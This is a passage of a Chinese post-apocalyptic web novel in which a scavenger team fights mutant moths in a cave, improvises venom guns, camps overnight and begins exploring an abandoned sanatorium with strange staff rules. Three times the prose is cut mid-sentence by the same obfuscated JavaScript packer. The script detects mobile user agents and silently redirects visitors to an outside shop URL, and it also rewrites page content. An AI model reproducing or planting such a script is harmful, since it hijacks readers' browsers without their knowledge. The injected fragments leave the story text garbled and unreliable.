“这是个活人队长,没必要那么冷漠吧?大家跑这么远救她,不是队友就撒手不管了吗?” 申队心里觉得林洗练不是一个不讲道理的人,可眼下这个阿飞确实没发现什么可疑的,而且老莫都已经搀住对方了,也不好让他立刻放开。 林洗练觉得自己跟这个老莫真是八字不合,“行,你爱扶就扶,我只一句话,防人之心不可无,这地方危险,有什么事都出去再说。” 队伍转向踏上了来时路,满地都是毛毛虫尸体和粘汁。林洗练也看见了那些裹了人类尸体的虫茧,陈不苟说这玩意儿都要化蛹了,还要找人“陪睡”。 “应该是为了补充能量。”林洗练猜测。 这些飞蛾幼虫小的半人高,大的能比人类还高出一头,早不是当年拇指大的食量了,它们化蛹前需要吃很多食物,甚至那些也不足以支撑它们度过解体重构的化蛹期,那么最好的办法,就是拖一些储备粮一起裹进蛹里,为他们提供营养。 “吃吃吃,饿死鬼托生。”陈不苟嘟囔道。 众人一边小心翼翼避开四溅的毒液,一边加速朝洞穴口行进。 这一路没有再遇到什么毛毛虫,本以为应该能顺利出逃,可就在这时,身后的洞穴深处忽然袭来一股劲风。 到底是他们刚才的战斗动静太大,惊扰了栖息洞内的变异生物。一只体型庞大的巨蛾从黑暗中俯冲飞来,尖利的胸足直刺人门面。 木山杨的队伍战斗素养不低,虽然飞蛾是突袭,但这打头的一只成不了什么气候。 可关键时刻,阿飞像是看到死神般惊恐万分,只觉得那巨蛾的口器对准了自己,他尖叫着逃窜退后,并反手将搀扶他的老莫推了出去。 老莫本来可以带着他一同闪避的,可怎么也没料到阿飞会想拿他当肉盾。 背后冷不丁的推力与他的撤退动作相斥,平衡打破,老莫向前踉跄了一下,而就是这一下,飞蛾的前足刺中了他的胳膊,叉起他整个人飞向半空。 “老莫!”申队大吼,开枪射向巨蛾的翅膀。 洞穴深处响起呼啸声,更多变异飞蛾涌了出来,它们似乎是听打头的那只指挥,亮出长长的口器和锋利的胸足进行攻击。 众人启动喷火枪自卫,烈焰让洞穴内的温度瞬间升高,低空飞行的巨蛾率先被灼烧,可一批坠落又有另一批迅速补充,而抓住老莫的那只一直盘旋在蛾群之上。 眼见老莫半条胳膊都被血染红,陈一斯提高喷火枪的效率,集中火力给头顶遮天蔽日的翅膀堆烧出了一个缺口,然后下意识回头喊道:“队长!” 这是他们小队曾经的战术,那时每个队员之间都默契十足,如今危急时刻陈一斯依然习惯性把后背交托给队友,可她忘了,她的队长失忆了。 电光火石之间,银狼脑海中闪过一些画面,他几乎是本能地与陈一斯交换眼神,右手持刀,左手扯住岩壁上的藤蔓。 “掩护!“ 银狼狠蹬岩石,腰部发力,破风般从陈一斯破开的缺口跃出,反曲刀重重削向那只领头的巨蛾,力道之大,角度之准,将它叉住老莫那一侧的足节尽数砍断。 领头巨蛾发出一种难以形容的嗡鸣,蛾群的进攻愈发猛烈。每个人都在奋力抗衡,唯有阿飞,他被吓得惊慌失措,连申队扔给他的武器都拿不住,只能像个无头苍蝇一般四处躲藏。 显然巨蛾发现了这颗“软柿子”,一个俯冲猛地袭来,胸足直挺挺刺入他的肩臂,又从另一侧冒出,泛着血色寒光。 阿飞被捅了个对穿,但人还没死,他眼睁睁看着面前的巨蛾叉着它飞向半空,绝望地向地面上的众人求救。 “救救我,求求你们,我不想死……” 话音未落,巨蛾的虹吸式口器忽然从阿飞口腔刺入。 那似鞭子的软管结构在病毒的异化下变得强韧有力,粗暴地从口腔一路向下,冲破食道,冲断肋骨,深入人体将五脏六腑生生搅碎。 巨蛾转入进食状态,强大的吸力让阿飞体内的血液和碎肉源源不断压入口器,他很快成了一张附在骨头渣子上的破皮,在非人的恐惧与折磨中死去。 林洗练终于明白为什么阿飞看见巨蛾会惊慌失措,宁可撕下刚刚伪装的善良面孔也要推老莫挡刀,他想必是知道巨蛾这一手“吸星大法”,甚至可能亲眼见证过这血腥残忍的全过程。 而上一个倒霉蛋,也许就是他的队友。 变异巨蛾的幼虫贪吃,可刚才林洗练弄死的那一只,一露面全然没有考虑过尸体堆那边的储备粮,反而费劲纠缠林洗练,很可能是因为,它们喜好吃活物,没有活的,才会选择死的。 林洗练刚醒的时候,阿飞说自己是想拖她远离尸体堆,这本是无可挑剔的说辞,可等林洗练走到岩壁边,换了个角度仔细看,忽然觉得不对。 阿飞拖拽她的路线是偏的,他是要把她弄出尸体堆,可更是要把她往接近幼虫巢穴的地方放。 之后坐得离她那么远,也不是什么怕腐烂的伤口熏到她,纯粹是希望,如果有幼虫前来进食,能第一眼锁定她。 看阿飞的狼狈程度,应该在这飞蛾洞里呆的时间不短,他早知道成虫残忍的进食方式,也知道幼虫来尸体堆觅食的频率要远高于成虫,只是不知道,他用那张腼腆伪善的脸,骗了多少人才苟延残喘活到现在。 即使他说的是真的,他被队友扔在了这里,那么这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924180|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个会随时背刺别人的队员,换了林洗练,就是有通天的本领,她也不敢来救。 阿飞被巨蛾吸干了,尸体落下,正砸在老莫脚边。 老莫呸了一声,掂了掂手中的喷火器,冲着蛾群烧得更猛。 在帮派里,他确实跟李明岐不和。 那就是个毛头小子,从前搞砸的事不少,偏偏老大钟情就是信任他,许多野外的任务,也都交给他带队。 老莫不服。 这次查机械篡改体,李明岐破天荒找了个小姑娘来当向导。老莫见林洗练的第一眼就觉得她过于年轻,怎么看都不像是个可信任的,再加上他本身就和李明岐不对付,这一路上总是有意无意表达自己的轻视和不满。 而现在,老莫不得不承认,林洗练称得上一个合格的拾荒者,虽然战斗技巧还有待提高,但警戒心和心理素质都是上佳。 尤其是,她没有新手的通病——那种不分青红皂白的同情和怜悯,她的善良带着锋芒,能最大限度地保护自己,也保护别人。 看来李明岐的眼光,偶尔还是不错的。 另一边,被银狼削一半足节的巨蛾也失了平衡栽落在地,李明岐大火猛烧,看了眼燃料缸,回头大喊,“还有多远?能撤出去吗?我快没火了。” 这一路的行进都被陈一斯的设备扫描生成了三维图,她看了一眼手臂上的屏幕,“不行,还太远!” 申队:“我也没燃料了,向外面的队员请求支援!” 求救信号已经发出,但眼前形势危急明显是等不了了。巨蛾的嗡鸣声持续不断,林洗练猜测这是一种求助信号,整个林子的巨蛾此刻可能都在往这边聚集。 陈不苟也熄了火,“没燃料了!” 银狼早就换了枪,他角度拿捏得好,能用□□打烂体型小的飞蛾的翅膀,但到底效率有限。 李明岐的喷火枪燃料耗尽,反手换了电锯刃抵挡巨蛾进攻,“只能搏一搏往外跑了,运气好的话,能跟救援组在中途遇上。” 陈不苟:“你长腿的跑得过它会飞的?” 申队:“不行,暴露后背太危险了!” 确实,巨蛾行动迅速,胸足锋利如刀,稍不留神它们的攻势,下一秒就可能被捅个对穿,然后被吸成一张干皮。 林洗练可不想第一次来野外就把自己搁在这,不说还没活够,就是这死法也太痛苦了点,何况身边这一群人都是为救她而来,这么多条命,她背不起。 燃料即将耗尽,那有什么东西能代替喷火枪吗? 林洗练一边用烈焰掩护,一边四下观察。突然,她目光锁定住一滩毛毛虫喷出的毒液,脑海中闪过一句老话: 凡毒物出没之处,七步之内必有解药。 是了,毛毛虫的毒液腐蚀性极强,如果能代替燃料喷射,不就是烧穿巨蛾翅膀的最佳武器吗? 林洗练伸手拉住离她最近的银狼,把自己还有燃料的喷火枪与对方的调换,“掩护我,给我两分钟!” 20. 【规则疗养院】队风整顿 银狼回眸,脸上带着泥痕,简短应答:“好。” 洞穴内到处都是新鲜的毛毛虫尸体,林洗练随便挑了一只,抽出军刀破坏掉它毛刺下的毒腺,用喷火枪的燃料缸接住那些流出的毒液。 喷火枪的材质本身就是耐高温耐腐蚀的,只需要稍加改动,让枪口直接喷出燃料缸的内容物,便可速成一把高压毒液枪。 林洗练站起身,在银狼手里的喷火枪即将耗尽燃料时一个箭步挡在他前面,稳稳扣动扳机,黄绿色的毒液喷射而出,像白磷一样,沾上巨蛾的翅膀便迅速扩散侵蚀,不烧尽绝不算完。 把枪换给银狼,林洗练开始改第二把,一边卸下燃料缸一边冲陈一斯大喊:“老板!用毒液!喷火枪改毒液枪!” 陈一斯看见林洗练的动作,瞬间领会到这个绝妙的主意,她让还有火的老莫掩护,快速拆了自己的喷火枪,罐入毒液。 腐蚀溶解的味道比高温灼烧更刺鼻,但这已经是绝佳的求生法子了。陈一斯到底是资深机械师,比林洗练的动作更快,没几分钟两人就合力把五把喷火枪就都进阶成了毒液枪。 毒液不仅射在巨蛾的翅膀上,也射在那些等待新生的虫蛹上。 蛾群似乎感受到了整个种族的危机,不少个体求生欲望强烈,朝反方向飞逃,重新隐匿回洞穴深处。 洞外的队友终于赶到,他们带着充足的燃料,烈焰与毒液交织,烧透了最后一批决绝赴火的变异巨蛾。 洞穴终于重新安静下来。 西南丛林不安全,队伍上车,在落日西沉的余晖中朝着宏树疗养院的方向飞驰。 队员们上交了喷火枪,陈一斯拆卸复原,林洗练则将燃料缸里那些毒液收集了起来,攒了一小罐,“这么强悍的酸液,回头拿到集市,应该能卖不少钱。” 老莫手臂上的伤口经过处理包扎看起来不那么恐怖了,陈不苟又回想起当时巨蛾叉人的画面,打了个冷战,“希望他不会变异成一只蛾子。” “应该不会。”陈一斯道,“跨物种感染的可能性很低,如果被同类攻击,大概会危险一些。” 病毒爆发距今不过三十年左右,初代病毒并非自然产物,而是诞生于那些跨国药企的实验室。 当时的人类社会已经相当高科技低生活,巨头企业横行霸道,为了攫取利益彼此攻击,高价值高机密的项目首当其冲,初代病毒就是这样从一些经历了恐怖袭击的实验室泄露出来的。 企业忙着做公关工作,给足了这些超级病毒感染扩散的时间,它们又相互交叉变异,在自然界中迅猛传播。 病毒加快进化,传染率在第五年达到峰值,之后呈逐渐下降和物种分化的趋势,也就是基因越像,被抓被咬后感染概率就越高。 不过考虑这个的意义并不大,毕竟变异生物的攻击力都很强悍,真要对上了,死亡就是分分秒秒的事,能活到感染变异恐怕都是一种幸运。 “老莫回卫星集市后还是得去打点疫苗。”李明岐说道,“毕竟被飞蛾弄伤不是什么好事。” 也是。林洗练想,就是她所处的那个回不去的和平纪元,被狗抓伤还得去打狂犬疫苗呢。 “要不是那个阿飞,也不会这么多事了。”陈不苟叹气,“说不定我们早点走,还能在燃料用光前跑出山洞……老莫怎么说也是个拾荒老手了吧,怎么比我还不听劝?” 随手一救,就是一个白眼狼。 话到这林洗练就有点想开口了,不过不是抱怨老莫,而是道:“你们申队,看起来是个心软的人。” 队长,是要洞悉队员性格,平衡队伍属性的。 有人强硬就要软化冲突,有人散漫就要严肃提点,他既然挑了老莫出来,必是清楚老莫为人的,那么在队员想要逞义气之时,就应该严格审视甚至喝止。 李明岐摸摸鼻子,“申队是个老好人,能力也强,组织里很多人喜欢跟着他去野外,因为知道即使自己出了意外,也不会被轻易放弃……” “不过钟姐也清楚他不够果断,所以——打开窗户往后看,注意皮卡车车斗里那位女士,认识一下,琢尔,我们队伍另一种意义上的队长。” 林洗练一愣,木山杨出个任务怎么跟斗地主似的,还分明暗队长。 陈不苟:“为什么不直接叫副队长?” 李明岐:“因为琢尔不喜欢,这个世界上有很多人想掌权指挥,但也要体谅,还有一些人就是不爱担那重担子,只想守好自己的一亩二分地,但是危急时刻,你要是愿意听他们的,他们也能救你。” 林洗练琢磨了一下,扫地僧? 车队拐了个弯,她从窗户探出头,刚好看到琢尔坐在车斗里摆弄无人机探路,风吹起她耳边的碎发,扫过那张清冷的脸。 陈不苟也挤过来瞧,“唉,你觉不觉得她有点像银狼?” 林洗练转头看大佬,银狼没有理陈不苟,反而因为林洗练的端详回了头,两人对视半晌,林洗练摇摇头。 “不一样的,琢尔眼睛里有一点厌世。” “哟。”李明岐插嘴,“那你怎么就知道银狼不厌世?他独来独往的,跟人组队都那么冷漠,说不定以前在什么事上吃过大亏。” “那他现在也不记得了呀。”林洗练理直气壮。 今天天色已晚,众人都同意找个安稳的地方过夜,明天再探宏树疗养院。 申队问林洗练有没有比较安全的地方可以安营扎寨,林洗练想了想,在地图上标了个方位,同步给了三台车。 “这地方比较开阔,不用担心被丧尸围困,距离疗养院也近,在我们的无人机飞行范围之内,晚上有机会还可以远程探探宏树附近的情况。” 申队比了个拇指:“再好不过。” 车队到地方停下扎营,两个队员合力拉起了简易防护网,网外还有小型探测装置,如果有活物靠近,会提前预警。 银狼一下车就翻身隐进了附近的高草丛,林洗练不解,陈一斯倒是习以为常,“可能是发现什么危险去清理了吧,队长的脑袋动过,视觉听觉比普通人强很多。” 队伍支起防风炉开始热罐罐,林洗练一想到奔波劳累一天,还没有好东西吃,就觉得人生一片黑暗。 而就在这时,银狼从草丛中跃了出来,手里拎着两只被尖锐树枝贯穿的野兔。 “呀,去捕猎了啊!”队伍里有人打招呼致意。 林洗练迎上去,也略略惊讶,“怎么抓到的?” 银狼抬起右手,他的锋利的臂刃变形组合成了一把精密的复合弩,至于弩箭,想必是跟上次抓鱼一样随手折的树枝削尖而成。 银狼把野兔往地上一扔,掏出匕首开始拔毛处理。林洗练看他动作娴熟,摸了摸下巴。 “你不仅会杀鱼,还会杀兔子。” 银狼将兔血放干净:“刚才在飞蛾山洞里的时候,想起了一点以前的事。” 林洗练:“啊,就是老板叫你那会儿?” 银狼点头。 可能是相似的战斗气氛和作战配合刺激了他的大脑,银狼回想起一些从前在野外执行任务的画面,可怖的变异生物,感染异化的人类,平地炸起的惊雷,茫茫尸山血海…… 他们小队接到的指令总是很危险,任务超时是常有的事,车队常备一台全污染处理器,罐头一吃完就在野外抓各种各样能吃的东西。 银狼:“你不爱吃罐头,我会烤兔子。” 林洗练回头看了看,队伍一共十个人,她凑近了银狼嘿嘿一笑,“我和你一起烤,不过我想征用一下你的兔子,可不可以?” 木山杨向来对成员不错,但凡去野外车队都会备上全污染处理器和各种调料,以防出现罐罐消耗完没有食物可吃的窘况。 林洗练跟李明岐说了一声,“我和银狼烤野兔,让其他人留点肚子,等下一起吃。” 李明岐帮她打开后车厢搬出设备和调料,“就那两只兔子,你们几个吃吧,木山杨都是混迹野外的糙人,吃罐罐就行。” 如果不是想用这两只兔子解决一些团队问题,林洗练也乐意吃独食,她无缘无故“慷慨请客”,可不仅仅只为了表达友好。 在野外,一支面和心不和的队伍,单兵输出再高也可能全军覆没。 “知道人类社会为什么消解那么快吗?”林洗练一边往兔子身上抹调料一边问。 李明岐:“嗯……因为末日?” “错。”林洗练摇摇食指,“早在这些病毒,天灾之前,就从我们的饮食结构被罐罐取代的那一刻起,人类社会就在走下坡路了。” 李明岐:“啊?” “人与人之间的交往,有时候就是缺了围坐在桌前的这一顿。” 一只野兔切了串串烤,另一只做烤全兔,林洗练只恨没有蜂蜜,不然做蜜汁烤肉也是极好的。 焦褐色爬上嫩肉表皮,油脂和汁水在高温下溢出,炙烤的香气飘散开来,有两个队员围过来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12939025|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,林洗练顺势招呼他们一起来吃。 银狼拿起菜刀,从烤全兔上片下一块肉放进林洗练罐罐里。陈不苟见了说教练偏心,“我今天杀怪那么勇,得值一个兔腿吧?” 陈一斯片了块肉,让他用吃堵住嘴,“这可比我们以前在野外烤得好多了,那时候调料都是瞎放,咸一块淡一块的,还掌握不好火候,不是焦了就是夹生。” 林洗练是专业吃货,兔兔这么可爱怎么允许暴殄天物呢?要不是条件有限,那两个兔头她也高低得给卤了。 队员们慢慢都加入了进来,申队被烤得鲜嫩多汁的兔肉征服了,开玩笑说得把林洗练请去他们帮派,以后顶上厨师的活。 “我跟洗练可是签的有合同。”陈一斯打趣道,“木山杨想挖人,违约金先拿来吧。” 申队哈哈大笑,“琢尔你说呢,咱俩回去找老大批经费吧。” 琢尔点点头:“你写报告,我往上送。” 队伍氛围慢慢热络起来,一旁串好的兔肉串串也差不多腌入味了,林洗练招呼大家一起烤,“一人分一串,烤好烤坏结果自负啊,可不许浪费兔兔。” 她那个时代,顾客自己动手的烧烤有时比一般烧烤价格还贵,却更受年轻人喜欢。 大家不是为了食材付钱,而是为那份参与感,人类似乎有一个共同癖好,喜欢谁,就给他投喂好吃的。 烧烤只要料对了,不烤糊,怎么吃都不会太差,一行人说说笑笑,抢那一个小小的炉子。李明岐还去抢陈不苟串串上那最大一块肉,结果抢到嘴里才发现,大半都是骨头。 “我说你怎么不躲呢。” “略略略。” 人群边上的老莫举着烤串,看了看月光下笑盈盈跟银狼说话的林洗练,呼噜了一把脸,走上前。 “林向导。” 林洗练回头,看见是老莫表情也没怎么变,“叫小林吧,算起来你们都是前辈,我还有很多地方要向你们学习。” “不不不。”老莫摆手,“你已经是一个很合格的拾荒者了,真的。” “……我这人嘴贱,有时候办事不过脑子,以后我再有什么头脑发热的,你直接骂醒我,不用给我留面子。” “之前确实对不住,等回卫星集市了,我做东请客吃饭,算是赔罪,以后多去你们装配店消费,也介绍朋友去。” 老莫这番话措了半天辞,最后都有些没话找话。 林洗练笑笑,举着烤串比划,“那可说好了,到时候给你办张贵宾卡,介绍新客来消费打个八八折。 老莫舒了口气,语气也变得轻松,“你应该趁机提价,反正我认宰。” 事情似乎就这样四两拨千斤揭了过去,大家都心知肚明,分歧是次要的,重要的是后面的任务好好配合,毕竟这疗养院还没进去,任务大头还在等着。 那边炉子旁的李明岐看老莫光说话不顾着吃,跳过来上手就要抢串。老莫躲了一下没躲过,看着空空的手心不可置信:“你小子抢了陈不苟的还不够,还来抢我的?” “我看你也不吃,这肉串都凉了,那我就受累帮你解决一下。”李明岐利落转身逃跑。 老莫追着就过去了,“给我回来!” 车队边又只剩下林洗练和银狼两人,林洗练看着自己肉串上最后一块兔肉,念叨着兔兔这下算是死得其所了。 银狼顺手把自己那串递了过去,“你做的食物总是有意想不到的效果。” “不是我做的食物。”林洗练纠正,“而是食物本身就是一种人生艺术。” 银狼“嗯”了一声,一副侧耳倾听状。 林洗练想了想,“我给你唱首歌吧。” “好。” 她哼起一段简单轻快的旋律,是童年看过的动画片里的歌曲。 “……滴一滴那人生醋,切下几片岁月姜,人间烟火美如肴,惹来神仙几回尝……” 林洗练只唱了这四句,其他都是含含糊糊的哼哼,唱到最后自己先笑场了,“抱歉,是小时候听过的歌,歌词都记不清了。” “这四句就很好。”银狼认真道。 如果是从前面对罐罐,他大概率无法理解歌词的意境。 但是想到林洗练做的肉松、土豆粉、丸子汤、水晶蒸饺……她做饭的时候他就在一旁打下手,陈不苟他们跑前跑后地帮忙,出锅时袅袅热气拂过她眉眼,大家围坐在餐桌你争我抢。 人间烟火,从此有了模样。 21. 【规则疗养院】员工守则 宏树疗养院占地面积不小,但结构并不复杂,正门进去先是塌了了一半的行政楼,后面是一大片带湖的园林,两侧独栋墅错落有致,一看就是有钱人休闲疗养的地方。 “这些别墅里说不定有什么值钱的资源。”一个队员指着显示屏上无人机传回的画面,“上次听说有人去高档小区带回几件珠宝,在主城区卖了大价钱呢。” “这后面好像还有楼。”陈一斯虚指了一下人造园林后面。 琢尔操控无人机灵巧飞近,林子后面还有一栋造型颇具艺术感的高楼,保存得还算完好,目测有五层,楼牌立着六个大字——宏树医疗中心。 陈不苟:“这没前面的别墅区条件好啊,小病住别墅,大病住医院?” 老莫不赞同,“应该是有钱的住别墅,没钱的集中住病房。” 琢尔给无人机划定了区域路线,开启自动巡航,配合夜视和动态捕捉,粗略估计整个园区内几百只丧尸,没有高危变异生物。 第二天一早,队伍整装待发,申队带四个人先进园区探探路,剩下的人由琢尔领着驻守外围等消息。 本来林洗练和陈不苟都是要被留下的,但林洗练一句话为自己改了“命格”,“我不是针对谁啊,那些旧纪元残品,在座的各位有谁比我更了解市场行情吗?” 陈不苟一愣,忘了林洗练还有这一手,气冲冲地说她背叛组织。 “别生气,要是在里面碰上事,我还指望着你来救援呢。”林洗练诈骗式哄人。 宏树疗养院的大门建得很宏伟,只可惜塌了一半,连带着行政楼都像被什么擎天撼地的怪物咬了一口,左边成了危房,右边塌得连钢筋混凝土的结构都看不出了。 “这地方八成是被轰炸过。”李明岐仔细瞧了瞧建筑废墟。 一楼有类似于公告栏的地方,贴出了疗养院平面图还有一些宣传语。陈一斯顺手把残缺褪色的地图扫描进设备,根据昨晚无人机巡航的数据进行补全复原,生成三维地图。 公告栏的玻璃溅上了一些深褐色的液体,林洗练仔细辨认着后面的文字,是关于疗养院的介绍。 “这家疗养院名头不少啊,‘地区十佳’,‘文明机构’,好像是和外资合作,什么什么……模范人文项目。” 李明岐:“人文项目,评价这么高?” 队伍往行政楼里面走,二楼有一间很大的办公室,掉在门口的牌子用多种语言写着“宣传部”,旁边是半个紫黑的血脚印。 满地散落的纸张,办公桌上的电子设备也差不多都处于报废状态,林洗练仔细比对了一些带有签名和日期的文件,基本确定宏树疗养院是半个世纪前的机构。 申队:“那就是自然重启之前。” 三十年前病毒爆发,随之而来的核战争、污染、畸变,迅速吞噬人类文明。 有的国家掩盖事实,有的国家勉力对抗,当灾难严重到不得不承认的时候,无论是富人区还是穷人区,流光溢彩的电子屏幕都成了一片触目惊心的红色警告。 官方采用民间广泛流传的“自然重启”一词代指这场人类浩劫,那一年成了“自然重启元年”,标志着和平发展时代彻底落幕。 如今,是人类奋起自救的重启34年。 “看来这地方风头正盛的时候,离初代病毒泄露都还早。” 林洗练在敞开的文件柜里找到一摞宣传彩页,风化侵蚀很严重,但勉强还能看得清字。 “2044年建成,次年接收病患……他们的企业形象很正面嘛,后面那栋医疗中心说是接收各种疑难杂症,还会根据情况免除部分贫困病人的医疗费用,喏,后面还附了几个案例。” 李明岐:“这家疗养院不是私人投资吗?不赚钱搞慈善来了?” “多半是哪个大公司投来改善企业形象的。”陈一斯接过宣传页看了看,“自然重启之前,那些跨国公司跟政府的关系糟得不能再糟,在民众心里也是嚣张霸道唯利是图的形象,那时候的公关工作可不好做,没有真金白银砸出去,谁肯替你多说一句好话?” 单看病毒爆发起源于大公司之间的互掐就知道了,那时候的企业势力空前,一些小国政府甚至能被巨无霸财阀所压制,出台的一切政策都是为商业服务。 老莫:“专治疑难杂症?那能有多少个病人,它那医疗中心可是整整五层。” 陈一斯:“当年病毒虽然还没泄露,但环境污染已经非常严重,不洁的水源和食物肯定会危害人体健康,得了怪病又付不起昂贵医疗费用的人也许愿意来这里试试。” “不只是不洁的食物和水源。”银狼补充道,“还有核污染。” 李明岐:“确实,半个世纪前就已经有多起核泄漏事件发生,有些土地至今被深埋封存,还有些海域永久性禁渔。” 陈一斯看着宣传页上医疗中心春光明媚的图片,“啧”了一声。 小队继续在二楼探索,进入了走廊尽头的财务部。 林洗练在文件柜里翻到了一些签字盖章的合同,“这疗养院跟不少公司有合作啊,员工体检休假指定疗养机构,还都安排的是别墅区,这员工福利不错。” 李明岐往中间走,停在了一个隔间旁边,“欸,这个办公桌挺漂亮的,有没有人最近在谈恋爱的,可以捡点装饰品回去哄对象。” 说完他先薅了几个小工艺品装进口袋,林洗练探头过来说他手快,“好看的都被你拿走了。” “我这是替钟姐拿的。”李明岐得瑟地抛着一个配色鲜艳的陶瓷小花束“她能用这东西从周锐那多忽悠几条信息……周老板最喜欢这些小玩意儿了。” 两人继续在办公桌上扒拉,陈一斯也加入了进来,她是对这些摆件没有什么需求,但陈不苟学美术的说不定感兴趣。 “这是什么?”林洗练在一摞文件下找到了一张便签纸,看起来像是随手写的工作任务记录。 “供应商付款,取回流水单,扫描付款凭证……抄员工守则X2,抄食堂配餐X5。” 陈一斯:“抄……什么?” “罚抄?”李明岐摸摸下巴,“我们学校上军事理论课都不玩这一招了。” 林洗练成功被带偏注意力,“那考不过的怎么办?” “直接加练。” 抄写确实很容易给人一种惩罚意味,可这是正儿八经的工作场合,一个企业会用这种方式来惩罚员工? 林洗练联想到她那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976766|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时代不少被人诟病的企业文化,难道宏树疗养院也有什么奇怪的“糟粕”?那些守则,该不是什么潜规则之类的东西吧? “这是不是她抄的守则?”陈一斯从办公桌下的垃圾堆里翻到两张纸。 林洗练接过,“‘进入本院请确保工作服穿戴整齐’……还真抄了两遍啊,就是这字写得也太大了吧,马克笔写的,整张纸都占满了。” 陈一斯:“再看这张。” 李明岐:“‘本院医护人员工作服统一为蓝色,没有红色,如果你发现了红色工作服,请立刻离开并上报,不要试图与穿着它的人交谈’……什么玩意儿?” 林洗练听得一愣,忽然头皮发麻,这个守则的画风,怎么那么像她那个时代流行的规则类怪谈? “这儿还有一张。”李明岐从隔壁办公桌的隔板上摘下一张纸条,不过不是手抄,而是打印,字体褪色不少。 “‘纸质版报销单使用白纸打印,如收到其他颜色的单据,请勿理会,更不要试图审核签字’……还挺严谨。” “或许原件是这个。”银狼在后排散乱的文件堆里发现了一张残破的封面——《宏树疗养院——职能部门员工守则》。 “只有封面吗?”林洗练略显着急,“内容页呢?” 银狼摇摇头。 “这还有一张马克笔手抄的。”陈一斯又扒出一张纸,“‘早餐不提供肉丝面、奶油可丽饼、南瓜馒头’,这也是员工守则?还是那个什么,食堂配餐?” 李明岐:“我只见过说食堂今日提供什么的,第一次见标注不提供什么的,难不成是供应的餐食太多,只能反向列单?” 陈一斯:“这菜色看着就好吃……我为什么没有生在旧纪元?” “还是算了吧。”申队探索完了财务部的另一侧,转过来搭话道:“要是生在旧纪元,前半生活得有多幸福,后半生就有多痛苦,天堂和地狱,差别太大,承受不住的人在末日到来前就会绝望自杀。” “那倒也是。”陈一斯唏嘘,“不像□□那代人,生下来就活在地狱,如今安稳一点,才觉得日子好像不那么难熬了。” 林洗练听着队友们闲谈,慢慢定了心神,她觉得自己大概是规则怪谈看多了,眼下的情况显然不是什么不遵守规则就会掉san丧命的怪谈,暴戾的机械篡改体和变异生物比未知恐惧杀人更快,就算宏树疗养院真有什么秘密,那也是半个世纪前的事了。 队伍继续往上走,三楼残存的空间就更少了,只剩一个人力资源办公室没被轰炸掉。 一开门迎头扑上来一只变异野猫,牙齿异化得厉害,又尖又长甚至刺破了嘴巴,满口血腥腐肉直冲人面门而来。 银狼反应快,一枪将野猫打飞撞上了后面的白板。 黑血溅出,弄污了白板上贴着的一张字条,红色记号笔写下的文字格外醒目: 本周食堂配餐规则: 早餐不提供肉丝面、奶油(血迹污渍)南瓜馒头; 午餐不提供清炒豆芽、鱼头豆腐、(血迹污渍)金枪鱼三明治; 晚餐不提(晕染污渍)、黑椒牛柳意面; 甜点不(血迹污渍) 饮料不提供果蔬汁。 22. 【规则疗养院】监控 李明岐仔细读了一遍,啧了一声,“给人看饿了。” 陈一斯踩着满地纸张档案跳进办公区域,“这人力资源部够乱的。” “哦不好意思,我好像踩到了什么人的脸。” 她从地上捡起一张简历,高克重铜版纸,排版精美,内容空洞,纸头的一寸照旁边写了一行小字,“总经理推荐,安排进入后勤部”。 “关系户啊。” 林洗练也凑过去扒了扒,那一片地上散落的都是简历,除了总经理推荐,还有董事长“安利”,投资人“严选”,大多是塞进万金油的职能部门。 “也不知道这些人到底入没入职,要是没入职,也算是捡回一条命了。” 官方档案说宏树疗养院是忽然遭遇恐怖袭击,看这满地狼藉的样子应该错不了,一楼到三楼每间办公室都是纸片乱飞,办公桌上水杯包包之类的个人用品都没带走,想来当时人们都是匆忙撤离。 那到底发生了什么,让大家如此惊恐慌乱? 小队在行政楼清了一圈,消灭了几只丧尸和变异动物,确认没有什么大的威胁后,申队通知琢尔领着余下的队员进来,打算把行政楼作为临时驻扎地。 “好歹遮个风避个雨,这两天野外天气不好。” 等琢尔他们过来的期间,小队就在行政楼门口的树荫下休息,林洗练仰着头看了半天,勉强认出这应该是一棵山楂树。 枝头挂着的果子个头较小,颜色偏粉,且略显奇形怪状,大概是这地方土壤贫化得太严重,李明岐摩拳擦掌说摘几颗尝尝,“等会儿琢尔他们把车开过来就有除污设备了。” 林洗练是对新鲜水果来者不拒的,刚想试试爬树,身后的银狼忽然起跳,伸手就从树枝上掐下一串,递到她面前。 李明岐也是个闲不住的,跳起来一手拽一串,歪头冲林洗练显摆,“我比你多哦。” 